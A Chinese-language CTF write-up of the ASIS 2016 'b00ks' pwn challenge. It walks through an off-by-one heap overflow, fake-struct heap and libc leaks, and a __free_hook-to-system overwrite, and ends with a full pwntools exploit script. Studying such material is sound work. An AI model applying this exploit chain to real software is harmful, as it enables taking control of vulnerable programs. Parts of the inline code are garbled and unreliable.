ASIS CTF 2016:b00ks
最近在练习pwn题目,主要看ctf竞赛权威指南这本书,感觉这个问题太巧妙了,记录下来
第一步拿到文件检查: 然后拿到IDA里面看: 在sub_b6d()函数中使用了一个自己写的函数read函数(这个函数有一个函数off-by-one漏洞)
你可以看到这里name存在off_202018
分析知道0ff_202010存的是book结构体 两者相差20个偏移 打印是规则的,然后看修改作者的名字,发现仍然是sub_b6d函数,但在修改时只能溢出一个\x00,这通常可以用来修改堆头、大小等,但这次不涉及
经过分析,发现只有一个字节溢出,还有一些打印和修改。仔细想想,不就是通过打印函数泄露一些东西吗?修改是为了更好地泄露, 有一个大概的想法,第一次打印泄露堆地址,然后泄露libc最后修改地址mallco_hook或者free_hook获取shell 具体怎么操作?如何泄露?libc?我们知道通过mmap分配的堆块和libc有固定的偏移关系,可以通过分配一个以上的128k的堆块(0x打印堆地址泄露libc
第一步:
p.sendlineafter("name: ","A"*0x20)#author_name create(0xd0,"AAAA",0x20,"bbbb")#book1 create(0x21000,"/bin/sh",0x21000,"dddd")#book2 print_book() p.recvuntil("A"*0x20) book1_addr = u64(p.recvn(6).ljust(8,'\x00')) print("book1_addr:",hex(book1_addr)) book2_addr = book1_addr 0x30; print("book2_addr:",hex(book2_addr))
拿到堆地址,第二步建设fake book
fake_book = p64(1) p64(book2_addr 0x8) p64(book2_addr 0x10) p64(0x20) edit(1,fake_book)
然后开始溢出,指向它fake book打印出book的name ptr地址 得到偏移为0x5b0010 然后开始修改book2的des->free_hook edit(1, p64(free_hook))
在修改book2使其free->指向system edit(2, p64(system_addr))
然后修改book的des->bin/sh
最后将book2 free掉就行了
拿到shell 最后,附上一张盲目的图片和代码
from pwn import * p = process('./b00ks') #p =remote("node4.buuoj.cn",28734) context.log_level="debug" libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') elf = ELF('./b00ks') def create(size,name,dsize,desc): p.sendlineafter("> ","1") p.recvuntil("Enter book name size: ") p.sendline(str(size)) p.recvuntil("Enter book name (Max 32 chars): ") p.sendline(str(name)) p.recvuntil("Enter book description size: ") p.sendline(str(dsize)) p.recvuntil("Enter book description: ") p.sendlie(desc)
def delete(idx):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("Enter the book id you want to delete: ")
p.sendline(str(idx))
def edit(idx,des):
p.recvuntil("> ")
p.sendline("3")
p.recvuntil("Enter the book id you want to edit: ")
p.sendline(str(idx))
p.sendlineafter("description: ",des)
def print_book():
p.recvuntil("> ")
p.sendline("4")
def change(name):
p.sendlineafter("> ",'5')
p.sendlineafter("name: ",name)
p.sendlineafter("name: ","A"*0x20)#author_name name he book xiangcha 0x20
create(0xd0,"AAAA",0x20,"bbbb")#book1
create(0x21000,"/bin/sh",0x21000,"dddd")#book2
print_book()
p.recvuntil("A"*0x20)
book1_addr = u64(p.recvn(6).ljust(8,'\x00'))
print("book1_addr:",hex(book1_addr))#0x55deae296130
book2_addr = book1_addr + 0x30;
print("book2_addr:",hex(book2_addr))#0x55deae296160
fake_book = p64(1) + p64(book2_addr + 0x8) +p64(book2_addr + 0x10) +p64(0x20)
edit(1,fake_book)
change("B"*0x20)
print_book()
p.recvuntil("Name: ")
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
print("leak_addr",hex(leak_addr)) #0x00007fcc19363010
libc_base = leak_addr - 0x5b0010
print("libc_base",hex(libc_base))
elf_base = libc_base + libc.sym['free'] - elf.plt['free']
system_addr = libc.sym['system'] + libc_base
sh_addr = libc.search('/bin/sh').next() + libc_base
free_hook = libc.sym['__free_hook'] + libc_base
print("system_addr",hex(system_addr))
print("sh_addr",hex(sh_addr))
print("free_hook",hex(free_hook))
edit(1, p64(free_hook))
edit(2, p64(system_addr))
edit(1, p64(sh_addr))
gdb.attach(p)
delete(2)
p.interactive()